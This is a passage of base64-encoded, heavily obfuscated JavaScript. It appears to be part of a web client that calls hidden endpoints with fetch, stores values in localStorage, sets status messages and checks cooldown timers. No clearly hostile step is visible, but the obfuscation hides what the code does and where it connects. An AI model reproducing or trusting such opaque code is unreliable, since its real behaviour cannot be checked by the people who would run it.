MjQsZS04NCxuLTIzMyxuLSAtNjA4LGUpfWlmKHRbZCg2NDcsInRCWGUiLDEwODQpXSh0W28oIjZ5d1giLDExNjMpXSx0W3MoMCwwLDIwMywiYXZPJSIpXSkpe2NvbnN0IHQ9XzB4NTc5ZDFkW28oInRCWGUiLDE2NzMpXShfMHg1NWQ2MzksYXJndW1lbnRzKTtyZXR1cm4gXzB4MTFlYjJiPW51bGwsdH17bGV0IGU7dHJ5e3RbYygidEJYZSIsMjMxOCwyMTg5LDAsMTk4NyldKHRbYygidXlPZCIsMjE3NCwyMjgwLDAsMTY0MCldLHRbZCgtNzQsImF2TyUiLDMyMSldKT9lPXRbZCg3MzAsIjVWQ3ciLDEwNTYpXShGdW5jdGlvbix0W2EoImF3Wm8iLDE4NTQpXSh0W28oIjZ5d1giLDEzMDUpXSh0W2MoImQkbm8iLDc3Myw5ODEsMCwxMjU0KV0sdFtzKDAsMCw4OTMsImNRbHkiKV0pLCIpOyIpKSgpOnRbYygiaEphNyIsMTIyNiwxMDE0LDAsMTI0OCldKF8weDQzMGM1OSl9Y2F0Y2godSl7aWYodFtjKCIxeFhkIiw1NTAsMjI3LDAsOTIzKV0odFtvKCJvakJPIiwxMTAyKV0sdFtjKCJEMTRjIiwxNjI5LDE3MzIsMCwyNDAxKV0pKXJldHVybiBfMHgzYjg3YmFbYSgiWlJ3QSIsMTUyNCldKGlbYygiXVtBRiIsOTkyLDU2MCwwLDEwNjUpXSxfMHg1N2FjYzgpLCExO2U9d2luZG93fXJldHVybiBlfX0pKTtmdW5jdGlvbiBhKHQsZSxuLHIsbyl7cmV0dXJuIE1yKGUsMCwwLDAsci04NDApfWZ1bmN0aW9uIGkodCxlLG4scixvKXtyZXR1cm4gSXIodC0zOTUsZS0zODEsbi0zMDUsby01MDEscil9b1tyKDIwNDEsMCwxOTQ1LDE1MDksImZjJnAiKStuKDAsMCwiWlJ3QSIsMTI0MikrImwiXShqciw0ZTMpfSgpO2NvbnN0IERyPSR0KFtdKTtmdW5jdGlvbiBLcih0LGUsbixyLG8pe3JldHVybiBRcihlLSAtMzQzLHIpfWNvbnN0IEZyPXt9O2Z1bmN0aW9uICRyKHQsZSxuLHIsbyl7cmV0dXJuIFFyKG8tNjA3LG4pfWZ1bmN0aW9uIElyKHQsZSxuLHIsbyl7cmV0dXJuIFFyKHItIC05MzAsbyl9RnJbQnIoIkBNOEUiLDAsMCwwLDIwNDQpKyJudCJdPTAsRnJbSXIoLTUyOSwtODczLC0yNTUsLTU2NSwiISokcSIpXT0wLEZyW01yKCJdW0FGIiwwLDAsMCwtMTM4KSsicyJdPSRyKDAsMCwiWlJ3QSIsMCwxMjk1KSsiYWwiLEZyWyRyKDAsMCwiTEg1cSIsMCwxNDk1KStNcigiZE4jZSIsMCwwLDAsMjI0KV09TXIoIkBNOEUiLDAsMCwwLDEwMDIpLEZyW01yKCJjKDRXIiwwLDAsMCwxMTM5KSsiZ2UiXT0iIjtjb25zdCBWcj0kdChGcik7Y2xhc3MgenJ7Y29uc3RydWN0b3IoKXtmdW5jdGlvbiB1KHQsZSxuLHIsbyl7cmV0dXJuIElyKDAsMCwwLGUtNjQsbyl9ZnVuY3Rpb24gVyh0LGUsbixyLG8pe3JldHVybiBNcihlLDAsMCwwLHQtNjMwKX1sKHRoaXMsdCxbXSksbCh0aGlzLGUsdm9pZCAwKSxsKHRoaXMsbixudWxsKSxsKHRoaXMsciwyMDApLGwodGhpcyxvLG51bGwpLGwodGhpcyxhLCExKSxsKHRoaXMsaSx2b2lkIDApLGwodGhpcyxjLDYwKSxsKHRoaXMscyx2b2lkIDApLGwodGhpcyxkKTtjb25zdCBmPXtiR01KUDpmdW5jdGlvbih0LGUpe3JldHVybiB0K2V9LEpaSk9rOlcoMTc2MiwiZE4jZSIpLEJTWlZkOlcoNzc2LCIyVWwzIiksbG1LSlc6Vyg0MjEsIlpNXmciKSt1KDAsLTQxLDAsMCwiYlhvQyIpKyJ0Iix6ckRPRzpmdW5jdGlvbih0LGUpe3JldHVybiB0KGUpfSxFQXdoTjpwKCJkJG5vIiwxNzk5LDE1OTMsMjAxMSwxNjQxKSttKCIxQmNLIiwyMTIsNTExLDQzMikraCg3MjEsODIzLCIxQmNLIikrbSgiZipAXSIsLTE2Nyw5MjYsNDc5KSx0YWd4djp1KDAsLTgzLDAsMCwibk41ISIpK2goODIsMzg4LCJTVFJZIikraCgtMzk3LDE1OSwiM3J6MiIpK3UoMCwtNDYsMCwwLCIyVWwzIikraCgxMTU0LDgyMCwidVRDeiIpK1coNzQ2LCIwd0FFIikrIiApIixsSERnSDpmdW5jdGlvbih0LGUpe3JldHVybiB0IT09ZX0sYlFSREM6dSgwLC0yMjYsMCwwLCJnb0gwIiksUkNvdmg6ZnVuY3Rpb24odCxlKXtyZXR1cm4gdD09PWV9LEJwUnZBOm0oIm9qQk8iLC0zNTQsLTMzMSwzNzYpK20oIk5WQmUiLDkyNywxMzUyLDcyMyksUURvV1Q6bSgiYXdabyIsMjExLDE0MTksNjU0KX07ZnVuY3Rpb24gaCh0LGUsbixyLG8pe3JldHVybiBJcigwLDAsMCxlLTY5MixuKX1mdW5jdGlvbiBtKHQsZSxuLHIsbyl7cmV0dXJuIElyKDAsMCwwLHItOTE1LHQpfWZ1bmN0aW9uIHAodCxlLG4scixvKXtyZXR1cm4gQnIodCwwLDAsMCxvLSAtNjg4KX1WclttKCIzcnoyIiwwLDAsOTY5KSsiZSJdKCh0PT4oey4uLnQsc3RhdHVzOm0oImQkbm8iLDAsMCw3NTcpfSkpKSx0aGlzW2goMCw2MzQsIjFCY0siKStoKDAsMTEyLCIyVWwzIikrImUiXT1WcltXKDg4MiwiKk15UyIpK2goMCw2MTYsInV5T2QiKV0oKHQ9PntmdW5jdGlvbiBlKHQsZSxuLHIsbyl7cmV0dXJuIG0obiwwLDAsdC0gLTk5KX1mdW5jdGlvbiBuKHQsZSxuLHIsbyl7cmV0dXJuIHUoMCx0LTIxOSwwLDAsbil9ZnVuY3Rpb24gcih0LGUsbixyLG8pe3JldHVybiB1KDAsby02OTQsMCwwLG4pfWZ1bmN0aW9uIG8odCxlLG4scixvKXtyZXR1cm4gcChuLDAsMCwwLHItMzY5KX1mdW5jdGlvbiBhKHQsZSxuLHIsbyl7cmV0dXJuIG0obiwwLDAsZS02MzQpfWlmKGZbbigyOTgsMCwiZGFCXSIpXSxmW24oMTE4NCwwLCJ1eU9kIildLGZbcigwLDAsIm5ONSEiLDAsMzA2KV0sZltuKC05MSwwLCJOVkJlIildLGZbYSgwLDIxNjgsIjB3QUUiKV0sZltvKDAsMCwiYXdabyIsMTUyMyldKGZbcigwLDAsImF3Wm8iLDAsNTgyKV0sZltvKDAsMCwiV15UVCIsMTkyOSldKSkoZnVuY3Rpb24oKXtyZXR1cm4hMX0pW2UoMTc4OCwwLCJvakJPIikrbygwLDAsIiEqJHEiLDE0MzYpKyJyIl0obklrZ2lFW2EoMCwxOTA0LCI2eXdYIildKG5Ja2dpRVthKDAsOTg5LCJMSDVxIildLG5Ja2dpRVtvKDAsMCwiRDE0YyIsMTQyMildKSlbYSgwLDIzMjUsIkxAZ1AiKV0obklrZ2lFW28oMCwwLCJ0QlhlIiwxMDM1KV0pO2Vsc2UgaWYoZltuKDU2MSwwLCJ1dmxpIildKHRbZSg0NTIsMCwiIUQ1RiIpKyJzIl0sZltvKDAsMCwiNVZDdyIsMTU2OCldKSl7aWYoZltlKDk1OCwwLCJ0QlhlIildKGZbcigwLDAsIiFENUYiLDAsNzY5KV0sZltuKDE5NSwwLCJjKDRXIildKSl7bGV0IHQ7dHJ5e3Q9bklrZ2lFW28oMCwwLCJXQVJTIiw3MjcpXShfMHgxYTA3ZTQsbklrZ2lFW24oLTMzOCwwLCJDWF1EIildKG5Ja2dpRVtvKDAsMCwiTEg1cSIsMTQwNildKG5Ja2dpRVtvKDAsMCwiMlVsMyIsOTY2KV0sbklrZ2lFW24oLTI0NCwwLCIzcnoyIildKSwiKTsiKSkoKX1jYXRjaChpKXt0PV8weDUzNTdlZn1yZXR1cm4gdH10aGlzW2UoMTEyMCwwLCIxeFhkIikrcigwLDAsIjZ1bygiLDAsMTI2MyldKCl9fSkpfVsodD0kcigwLDAsIk96MkciLDAsMjM0NikrQnIoImF2TyUiLDAsMCwwLDEwNzUpLGU9JHIoMCwwLCJPejJHIiwwLDIyNDYpKyJ5IixuPUtyKDAsMTA5NCwwLCJDWF1EIikrSXIoMCwwLDAsLTMxMywiKDhiSiIpK0lyKDAsMCwwLDI5OCwiTlZCZSIpLHI9TXIoImhKYTciLDAsMCwwLDY1MykrJHIoMCwwLCIqUHUqIiwwLDExMDQpKyRyKDAsMCwiKk15UyIsMCwxNjM0KSxvPUtyKDAsMTI1MywwLCIxQmNLIikrJHIoMCwwLCJXQVJTIiwwLDEyMzgpK0lyKDAsMCwwLDQzMSwiZE4jZSIpLGE9TXIoImROI2UiLDAsMCwwLDM1NikrS3IoMCwxMTAyLDAsInV5T2QiKStNcigiZipAXSIsMCwwLDAsOTMwKSsiZWQiLGk9QnIoInVUQ3oiLDAsMCwwLDExNTEpK0lyKDAsMCwwLDEyOSwiKk15UyIpLGM9JHIoMCwwLCIhKiRxIiwwLDkyNCkrQnIoIig4YkoiLDAsMCwwLDExMzcpKyJzIixzPUtyKDAsMTA1MiwwLCJoSmE3IikrSXIoMCwwLDAsLTE4MywiYyg0VyIpKyJvIixkPU1yKCJMSDVxIiwwLDAsMCwtMjU4KStLcigwLDE5OSwwLCJoSmE3IikrImUiLEJyKCJhdk8lIiwwLDAsMCwxNjY0KStLcigwLDMyOSwwLCIqTXlTIikrInkiKV0oKXt2YXIgdCxlLG4scjt0aGlzWyhuPSJhd1pvIixyPTUxMixLcigwLHItNDk0LDAsbikrKHQ9IlpNXmciLGU9MjMxNixNcih0LDAsMCwwLGUtMTUwMSkpKyJlIildKCl9YXN5bmNbSXIoMCwwLDAsNjg5LCIxeFhkIikrSXIoMCwwLDAsMzcxLCJiWG9DIikrImVzIl0oKXtmdW5jdGlvbiB0KHQsZSxuLHIsbyl7cmV0dXJuIEtyKDAsZS0xMjA2LDAsdCl9dmFyIGUsbixyLG8sYSxpO3JldHVybiB3clt0KCJaUndBIiwxMzQ2KSt0KCJ0QlhlIiwxNjE1KV0oYXdhaXR7bUVaa3o6ZnVuY3Rpb24odCxlKXtyZXR1cm4gdChlKX19WyhhPSJnb0gwIixpPTEwMjksJHIoMCwwLGEsMCxpLSAtMTQyNykpXShmZXRjaCxMcilbKHI9NDg4LG89ImZAdFIiLElyKDAsMCwwLHItMzgxLG8pKV0oKHQ9PntyZXR1cm4gdFsoZT0xNzQ1LG49ImJYb0MiLE1yKG4sMCwwLDAsZS0xMzE2KSldKCk7dmFyIGUsbn0pKVsoZT0yMzgsbj0iZGFCXSIsTXIobiwwLDAsMCxlLSAtMjQ4KSldKCgoKT0+e30pKSl9Z2V0W0JyKCJmQHRSIiwwLDAsMCwyMTAwKStJcigwLDAsMCwtMjU1LCI2eXdYIikrSXIoMCwwLDAsNzUxLCJkTiNlIikrJHIoMCwwLCJMQGdQIiwwLDE5MDMpKyRyKDAsMCwiQil2byIsMCwxMjAzKV0oKXtmdW5jdGlvbiB0KHQsZSxuLHIsbyl7cmV0dXJuIElyKDAsMCwwLG8tMTMwOSxlKX1mdW5jdGlvbiBlKHQsZSxuLHIsbyl7cmV0dXJuIE1yKG8sMCwwLDAsbi04MzYpfWNvbnN0IG49e0NUckh5OnQoMCwidVRDeiIsMCwwLDEyOTApK2EoIiEqJHEiLDE2MzUsODY1LDEzMDgpK2EoIkxINXEiLDIwMTYsMTk0MiwxNTAxKSsiKSIsdmt5SWI6ZSgwLDAsOTczLDAsIkNYXUQiKStvKCJmQHRSIiw4MTUsODcwLDY5NykrYSgiMHdBRSIsMzE2LDIyNyw5ODUpK28oIm9qQk8iLDE4MDksMTQ3NSwyNTI4KStlKDAsMCwxMDQyLDAsInRCWGUiKSt0KDAsImRhQl0iLDAsMCwxMDczKSthKCJ0QlhlIiw5MDEsMTI5MSwxNTgzKSxvV0dPZTpmdW5jdGlvbih0LGUpe3JldHVybiB0KGUpfSxIanJlQTp0KDAsIjJVbDMiLDAsMCwxOTc5KSxaTENlcDpmdW5jdGlvbih0LGUpe3JldHVybiB0K2V9LEFYRnFpOmUoMCwwLDc4MiwwLCI2dW8oIiksV2NJSGg6ZnVuY3Rpb24odCxlKXtyZXR1cm4gdCtlfSx0RWJuaTp0KDAsIig4YkoiLDAsMCw5MTgpLGRncW55OmZ1bmN0aW9uKHQpe3JldHVybiB0KCl9LEVYSEZHOmZ1bmN0aW9uKHQsZSxuKXtyZXR1cm4gdChlLG4pfSxkVGJMeTphKCJiWG9DIiwxNjg4LDE4NTMsMTk4OCkrInkiLEJGenRqOmZ1bmN0aW9uKHQsZSl7cmV0dXJuIHQ9PT1lfSx4dEVicDphKCJPejJHIiwxMTM4LDE1MzUsMTg5NSksZklCcU06ZSgwLDAsNzY1LDAsImQkbm8iKX0scj1sb2NhbFN0b3JhZ2VbbygiTEg1cSIsMTQ3NSwxOTU0LDE3OTIpKyJlbSJdKG5bdCgwLCIqTXlTIiwwLDAsMTM0NildKTtmdW5jdGlvbiBvKHQsZSxuLHIsbyl7cmV0dXJuICRyKDAsMCx0LDAsZS0gLTEzMil9ZnVuY3Rpb24gYSh0LGUsbixyLG8pe3JldHVybiAkcigwLDAsdCwwLHItIC00NTgpfXJldHVybiByJiYoblt0KDAsInRCWGUiLDAsMCwxNTkwKV0obltlKDAsMCwxNTMzLDAsIm5ONSEiKV0sbltlKDAsMCwxMTMxLDAsIldBUlMiKV0pP3R4RmF1SltvKCJMQGdQIiwxNDg4LDEyNTksMjE1MCldKF8weDFkNGI5Nyx0aGlzLChmdW5jdGlvbigpe2Z1bmN0aW9uIG4odCxuLHIsbyxhKXtyZXR1cm4gZSgwLDAsci0gLTIxMywwLHQpfWNvbnN0IHI9bmV3IF8weGFmMjdkYSh0eEZhdUpbaSgxMTE4LDI2MSwiZkB0UiIsNjc4KV0pO2Z1bmN0aW9uIGkodCxlLG4scixhKXtyZXR1cm4gbyhuLHItIC0xMTcyLG4tMTAyLHItMjIzKX1mdW5jdGlvbiBjKHQsbixyLG8sYSl7cmV0dXJuIGUoMCwwLG4tNzQsMCxvKX1jb25zdCBzPW5ldyBfMHgxMTVhZmYodHhGYXVKW2koMCwwLCJkJG5vIiw5ODEpXSwiaSIpO2Z1bmN0aW9uIGQodCxlLG4scixvKXtyZXR1cm4gYShyLGUtMjI2LG4tMTY5LHQtMTc2KX1mdW5jdGlvbiB1KGUsbixyLG8sYSl7cmV0dXJuIHQoMCxhLDAsMCxyLSAtNTEyKX1jb25zdCBsPXR4RmF1Slt1KDAsMCwxMDM5LDAsIjF4WGQiKV0oXzB4MjUyOTY0LHR4RmF1SltuKCIhRDVGIiwwLDc5NyldKTtyW24oImJYb0MiLDAsMTE0MCldKHR4RmF1SltpKDAsMCwibk41ISIsMzIxKV0obCx0eEZhdUpbZCgyMjIxLDI3MjQsMjM0MCwiNnVvKCIpXSkpJiZzW2QoNjExLDEzMDIsMzc0LCJ0QlhlIildKHR4RmF1SltjKDAsMTkwOSwwLCJOVkJlIildKGwsdHhGYXVKW2MoMCwxNDk4LDAsIig4YkoiKV0pKT90eEZhdUpbdSgwLDAsMTQyNCwwLCIwd0FFIildKF8weDVlYzBkYik6dHhGYXVKW2koMCwwLCJ1dmxpIiw0ODgpXShsLCIwIil9KSkoKTp0aGlzW2EoImhKYTciLDI1NzEsMjU0NiwyMDA3KSsieSJdPXIpLHRoaXNbZSgwLDAsMjA4MywwLCJmKkBdIikrInkiXX1bQnIoInVUQ3oiLDAsMCwwLDEzMDQpK0JyKCIwd0FFIiwwLDAsMCwxNTU1KStCcigiZkB0UiIsMCwwLDAsMjIxMCkrJHIoMCwwLCJmYyZwIiwwLDE0OTcpK0JyKCIwd0FFIiwwLDAsMCwyMDcwKV0odCl7Y29uc3QgZT17fTtmdW5jdGlvbiBuKHQsZSxuLHIsbyl7cmV0dXJuIEJyKGUsMCwwLDAsci0gLTY3OSl9ZVtuKDE5OTUsIkIpdm8iLDE1NDUsMTY2NCldPW4oMjU5NCwiV0FSUyIsMjUwNCwxODc0KSsieSI7Y29uc3Qgcj1lO3ZhciBvLGEsaSxjO2xvY2FsU3RvcmFnZVsoaT0xNTc5LGM9IjFCY0siLE1yKGMsMCwwLDAsaS0xMzQwKSsiZW0iKV0oclsobz0iKk15UyIsYT0zNjIsQnIobywwLDAsMCxhLSAtNzk0KSldLHQpfWFzeW5jW0lyKDAsMCwwLC0zMzcsIjJVbDMiKStJcigwLDAsMCwtMzkyLCJvakJPIikrInkiXSgpe2Z1bmN0aW9uIHQodCxlLG4scixvKXtyZXR1cm4gTXIodCwwLDAsMCxvLTE0ODEpfWZ1bmN0aW9uIGUodCxlLG4scixvKXtyZXR1cm4gS3IoMCxyLTg5MiwwLG4pfWZ1bmN0aW9uIG4odCxlLG4scixvKXtyZXR1cm4gQnIodCwwLDAsMCxyLSAtODI0KX10aGlzW24oIjgycnQiLDE4NSw3NTAsNTIwKSt0KCJdW0FGIiwxNTYwLDE3MjUsMTY5NiwyMzMwKStlKDI0MDksMTk0MiwiYXZPJSIsMTkyMikrZSgyNjE1LDI4MDYsIiEqJHEiLDIwNjYpK24oImcheUMiLDExMDIsMTI2MSw0NjcpXTt2YXIgcixvO3JldHVybiBhd2FpdCB0aGlzWyhyPSJATThFIixvPS0xOTcsJHIoMCwwLHIsMCxvLSAtMTM1NikrbigiNnl3WCIsMCwwLDEwMTMpK3QoIl1bQUYiLDAsMCwwLDE0OTkpKyJuayIpXSgpfWFzeW5jW0lyKDAsMCwwLDYxNCwidVRDeiIpK01yKCJXQVJTIiwwLDAsMCwtMTI4KStCcigiNnVvKCIsMCwwLDAsMTY0NSkrSXIoMCwwLDAsNDkyLCJuTjUhIikrQnIoImdvSDAiLDAsMCwwLDI1NjkpK0JyKCJuTjUhIiwwLDAsMCwxNDM4KV0oKXtmdW5jdGlvbiB0KHQsZSxuLHIsbyl7cmV0dXJuIE1yKGUsMCwwLDAsdC03OCl9ZnVuY3Rpb24gZSh0LGUsbixyLG8pe3JldHVybiAkcigwLDAsZSwwLG8tIC0xMjc5KX1mdW5jdGlvbiBuKHQsZSxuLHIsbyl7cmV0dXJuIElyKDAsMCwwLGUtMTE2NCxuKX1mdW5jdGlvbiByKHQsZSxuLHIsbyl7cmV0dXJuIE1yKHIsMCwwLDAsdC0gLTI4NCl9ZnVuY3Rpb24gbyh0LGUsbixyLG8pe3JldHVybiBLcigwLHQtIC0zOTUsMCxvKX1jb25zdCBhPXtxS1lxRTpmdW5jdGlvbih0LGUpe3JldHVybiB0PT09ZX0sSHhTbnQ6bigwLDU0OCwiNnl3WCIpK24oMCwxNDA3LCJodkE0IiksU0p1ZWI6ZnVuY3Rpb24odCxlKXtyZXR1cm4gdChlKX0sb0Nac1E6ZnVuY3Rpb24odCxlKXtyZXR1cm4gdCE9PWV9LHRCZ09aOm8oNDExLDAsMCwwLCIyVWwzIiksb2dhT2g6ZSgwLCJ1dmxpIiwwLDAsMjg4KSxqWnZLczpmdW5jdGlvbih0LGUpe3JldHVybiB0KGUpfSx3WktPbTpmdW5jdGlvbih0LGUpe3JldHVybiB0IT09ZX0sR213QlM6bygxNDUsMCwwLDAsIkNYXUQiKSxHU2dSZzpuKDAsMjAyNywiWlJ3QSIpLGhram5iOmZ1bmN0aW9uKHQsZSl7cmV0dXJuIHQvZX0sUXVVQWc6ZnVuY3Rpb24odCxlKXtyZXR1cm4gdC1lfSxWU0JySjpmdW5jdGlvbih0LGUpe3JldHVybiB0KmV9LHh4clZoOmZ1bmN0aW9uKHQsZSl7cmV0dXJuIHQ8ZX0seEtvYVI6bygxMDMsMCwwLDAsIlpNXmciKSxJd0hJRDpuKDAsMTAzOSwiZE4jZSIpK3IoOTQyLDAsMCwiZmMmcCIpK28oMTk1LDAsMCwwLCI2dW8oIikrdCgyOTgsIkBNOEUiKStuKDAsMjA3OSwiaHZBNCIpK3QoLTE2OCwiNnl3WCIpK3QoMTE2MCwiKDhiSiIpK28oNjMzLDAsMCwwLCJ1eU9kIikrbigwLDE5MDksIjJVbDMiKSsiZDoifTt0cnl7aWYoYVtyKDUwMywwLDAsIlpNXmciKV0oYVtyKDEyMSwwLDAsIk96MkciKV0sYVtyKC0xMzEsMCwwLCJCKXZvIildKSl7Y29uc3QgaT1hd2FpdCBhW3QoNjEwLCIhRDVGIildKGZldGNoLFpyKyh0KDgzNSwiT3oyRyIpK2UoMCwiWk1eZyIsMCwwLC0zMTcpKSt0aGlzW24oMCwxMzU2LCJDWF1EIikrImRlIl0rKHQoMjEwLCJiWG9DIikrdCgxMzE2LCI2dW8oIikpK3RoaXNbbigwLDE4NzEsIkQxNGMiKSsieSJdKTtpZighaS5vayl7aWYoIWFbcigtMzY1LDAsMCwiZyF5QyIpXShhW24oMCwxODg5LCI2dW8oIildLGFbcigyNzksMCwwLCJmYyZwIildKSl0aHJvdyBuZXcgRXJyb3IoZSgwLCJ0QlhlIiwwLDAsNTI5KStuKDAsMTQyOSwiYXZPJSIpK3QoMTM0MCwiMUJjSyIpK3IoLTM4OCwwLDAsInV5T2QiKStpW24oMCwxMjAyLCIxeFhkIikrInMiXSk7YVtyKDk3MiwwLDAsIkNYXUQiKV0oXzB4MTc1ZWU5W3QoNDE4LCIwd0FFIikrInMiXSxhW2UoMCwiODJydCIsMCwwLC0xMDIpXSkmJnRoaXNbcig4MDcsMCwwLCIwd0FFIikrbigwLDE3MzMsImh2QTQiKV0oKX1jb25zdCBjPWF3YWl0IGlbcigzODIsMCwwLCJDWF1EIildKCk7aWYoIWNbcigtNTA1LDAsMCwiIUQ1RiIpKyJzcyJdKXtpZighYVtyKC00NjgsMCwwLCJCKXZvIildKGFbbyg0ODAsMCwwLDAsIjZ1bygiKV0sYVtuKDAsMTkyNCwib2pCTyIpXSkpcmV0dXJuITE7RVNjZmloW3IoLTEwLDAsMCwiTlZCZSIpXShfMHgzOTI0YzMsIjAiKX1jb25zdCBzPW5ldyBEYXRlKGNbbigwLDY1NSwib2pCTyIpKyJjdCJdW3QoNzQyLCIqUHUqIikrbygtMzIxLDAsMCwwLCJnIXlDIikrInJ5Il1bMF1bZSgwLCJmKkBdIiwwLDAsNjc2KV0pLGQ9bmV3IERhdGUsdT1hW2UoMCwiMUJjSyIsMCwwLC0yMzkpXShhW3IoNjQwLDAsMCwiU1RSWSIpXShkW3IoNDc5LDAsMCwidXZsaSIpKyJtZSJdKCksc1tuKDAsMTUwNCwidVRDeiIpKyJtZSJdKCkpLGFbbygtMzMzLDAsMCwwLCJdW0FGIildKDFlMyw2MCkpO3JldHVybiBhW3QoMTEyOCwiMHdBRSIpXSh1LHRoaXNbZSgwLCJuTjUhIiwwLDAsMTE3KStlKDAsInVUQ3oiLDAsMCwtMTExKSsicyJdKX1pZihfMHgxODg1OTIpe2NvbnN0IHQ9XzB4N2U2MGQ0W3IoNTk2LDAsMCwiMXhYZCIpXShfMHg0MGIzOWQsYXJndW1lbnRzKTtyZXR1cm4gXzB4OWZjZWU1PW51bGwsdH19Y2F0Y2goaSl7aWYoYVtyKDcxMCwwLDAsImh2QTQiKV0oYVtyKDYyOSwwLDAsIldBUlMiKV0sYVtlKDAsImYqQF0iLDAsMCw0OTQpXSkpcmV0dXJuITE7XzB4MTUxMTUxPV8weDNiMGQ1Zn19Z2V0W01yKCJnIXlDIiwwLDAsMCw3NDkpKyRyKDAsMCwiYlhvQyIsMCwxNDkyKV0oKXtyZXR1cm4gdGhpc1sobj0iaEphNyIscj0xMDk0LEJyKG4sMCwwLDAsci0gLTY1MSkrKHQ9OTg4LGU9ImQkbm8iLEtyKDAsdC0gLTQ3MiwwLGUpKSsicyIpXTt2YXIgdCxlLG4scn1nZXRbSXIoMCwwLDAsLTIzOCwiV15UVCIpKyJkZSJdKCl7Y29uc3QgdD13aW5kb3dbcigiNnl3WCIsMTI1OCwxOTM2KStyKCI1VkN3IiwyNTMzLDI1OTApXVtyKCJodkE0IiwyMTU4LDIyMDIpXVsoZT0idXZsaSIsbj0xMTAxLEtyKDAsbi0gLTIwNSwwLGUpKV0oL1wvKFxkKyktLyk7dmFyIGUsbjtmdW5jdGlvbiByKHQsZSxuLHIsbyl7cmV0dXJuIEtyKDAsZS0xMTg5LDAsdCl9cmV0dXJuIHQ/dFsxXTp2b2lkIDB9YXN5bmNbTXIoIiFENUYiLDAsMCwwLDcwNSkrJHIoMCwwLCIzcnoyIiwwLDEyNzUpXSgpe2Z1bmN0aW9uIHQodCxlLG4scixvKXtyZXR1cm4gQnIociwwLDAsMCxlLTI2Nil9ZnVuY3Rpb24gZSh0LGUsbixyLG8pe3JldHVybiBLcigwLHQtMTAxOSwwLHIpfWZ1bmN0aW9uIG4odCxlLG4scixvKXtyZXR1cm4gQnIociwwLDAsMCxvLSAtNzc1KX1mdW5jdGlvbiByKHQsZSxuLHIsbyl7cmV0dXJuIEtyKDAsby0xMTU1LDAsdCl9Y29uc3Qgbz17SUFaQnY6dCgwLDI2MzAsMCwiZipAXSIpK3IoInV5T2QiLDAsMCwwLDE5OTQpK2UoMTI4NSwwLDAsIig4YkoiKStuKDAsMCwwLCIwd0FFIiwxNjg2KSxLeE5FYjpmdW5jdGlvbih0LGUpe3JldHVybiB0KGUpfSxOcGZYQTpmdW5jdGlvbih0LGUpe3JldHVybiB0LWV9LEd0SlluOmZ1bmN0aW9uKHQsZSl7cmV0dXJuIHQ9PT1lfSxET0pibzphKDE5NTksMjMzNSwyMzMzLDE5MzEsIldBUlMiKSxuR2h2RzplKDIwMzMsMCwwLCJATThFIiksZEVIWlY6ZnVuY3Rpb24odCxlKXtyZXR1cm4gdD09PWV9LG9MTFlmOm4oMCwwLDAsIkxAZ1AiLDEwNjQpLHBvaVJqOmZ1bmN0aW9uKHQsZSl7cmV0dXJuIHQ9PT1lfSxWdnRuWDp0KDAsMjA1MiwwLCJkJG5vIiksR3hrT2o6bigwLDAsMCwiNnl3WCIsMTQ4NyksQWl1Z3E6bigwLDAsMCwiKlB1KiIsMTM1MyksQlh3ZUI6cigiWk1eZyIsMCwwLDAsMTIzNCksRllUQ206ZnVuY3Rpb24odCxlKXtyZXR1cm4gdCE9PWV9LFB6eEF5OnQoMCwyMDUwLDAsImdvSDAiKSxlSGROTjpuKDAsMCwwLCJDWF1EIiw2NDQpLGRVREVEOmZ1bmN0aW9uKHQsZSl7cmV0dXJuIHQhPT1lfSxhUkplZzphKDE5NTQsMjUxNiwxNDA1LDE4NzMsIjF4WGQiKSxBZlJMbTphKDIxMTEsMTkwMywyMDA2LDE0NDQsInRCWGUiKX07ZnVuY3Rpb24gYSh0LGUsbixyLG8pe3JldHVybiBJcigwLDAsMCxyLTEyNDMsbyl9dHJ5e2lmKCFvW2EoMCwwLDAsODA2LCIqUHUqIildKG9bYSgwLDAsMCwxMzQ4LCI4MnJ0IildLG9bcigiY1FseSIsMCwwLDAsMjA3NCldKSl7Y29uc3QgdD1fMHg0ZmEyZWQ/ZnVuY3Rpb24oKXtpZihfMHg1MjExMjQpe2NvbnN0IG49XzB4MWYwY2MwWyh0PTIzNyxlPSJaUndBIixyKGUsMCwwLDAsdC0gLTEyNjUpKV0oXzB4MjQ3NjIxLGFyZ3VtZW50cyk7cmV0dXJuIF8weDFiMzdiMz1udWxsLG59dmFyIHQsZX06ZnVuY3Rpb24oKXt9O3JldHVybiBfMHg0YTg5ZmY9ITEsdH17aWYoVnJbZSgyNDk3LDAsMCwiWlJ3QSIpKyJlIl0oKHQ9Pih7Li4udCxzdGF0dXM6bigwLDAsMCwiV0FSUyIsMTQxMikrIm5nIixzdWJTdGF0dXM6cigiQ1hdRCIsMCwwLDAsMjQ2OCl9KSkpLCEoYXdhaXQgdGhpc1tlKDk2MSwwLDAsIlNUUlkiKSthKDAsMCwwLDc3NCwiMlVsMyIpKyJ5Il0oKSkpe2lmKG9bbigwLDAsMCwiKDhiSiIsNDc5KV0ob1tyKCJEMTRjIiwwLDAsMCwyNjY3KV0sb1tuKDAsMCwwLCJmQHRSIiw4MTcpXSkpcmV0dXJuIHZvaWQgVnJbZSgyMTk4LDAsMCwidVRDeiIpKyJlIl0oKHQ9Pih7Li4udCxzdGF0dXM6cigiTEg1cSIsMCwwLDAsMjYxNyksc3ViU3RhdHVzOmUoMjQwNSwwLDAsInVUQ3oiKStuKDAsMCwwLCJnb0gwIiwxMTcwKStlKDExODAsMCwwLCJPejJHIiksbWVzc2FnZTpuKDAsMCwwLCIqUHUqIiwxNTQzKSthKDAsMCwwLDczOCwiRDE0YyIpK24oMCwwLDAsImF2TyUiLDEzNDUpK24oMCwwLDAsImZjJnAiLDEzODkpK2UoMTY5NSwwLDAsIipNeVMiKSsiISJ9KSkpO3Rocm93IG5ldyBfMHgyM2EzZDkoYSgwLDAsMCw5MTcsIjNyejIiKStyKCJmYyZwIiwwLDAsMCwyMTk0KSt0KDAsMTc4NCwwLCJTVFJZIikrbigwLDAsMCwidXlPZCIsNDYzKStfMHhiZjZkYTJbbigwLDAsMCwidVRDeiIsMTA5MSkrInMiXSl9aWYoYXdhaXQgdGhpc1tlKDEyNDAsMCwwLCIqTXlTIikrZSgyNDk1LDAsMCwiNnVvKCIpK2UoMTc0NywwLDAsIjB3QUUiKSthKDAsMCwwLDE4NTAsImMoNFciKStyKCIxQmNLIiwwLDAsMCwxMjc1KStyKCJkTiNlIiwwLDAsMCwyNjgzKV0oKSl7aWYob1tlKDE3MzMsMCwwLCJTVFJZIildKG9bZSgyMDQ4LDAsMCwiYXdabyIpXSxvW2EoMCwwLDAsMTc5OSwiWk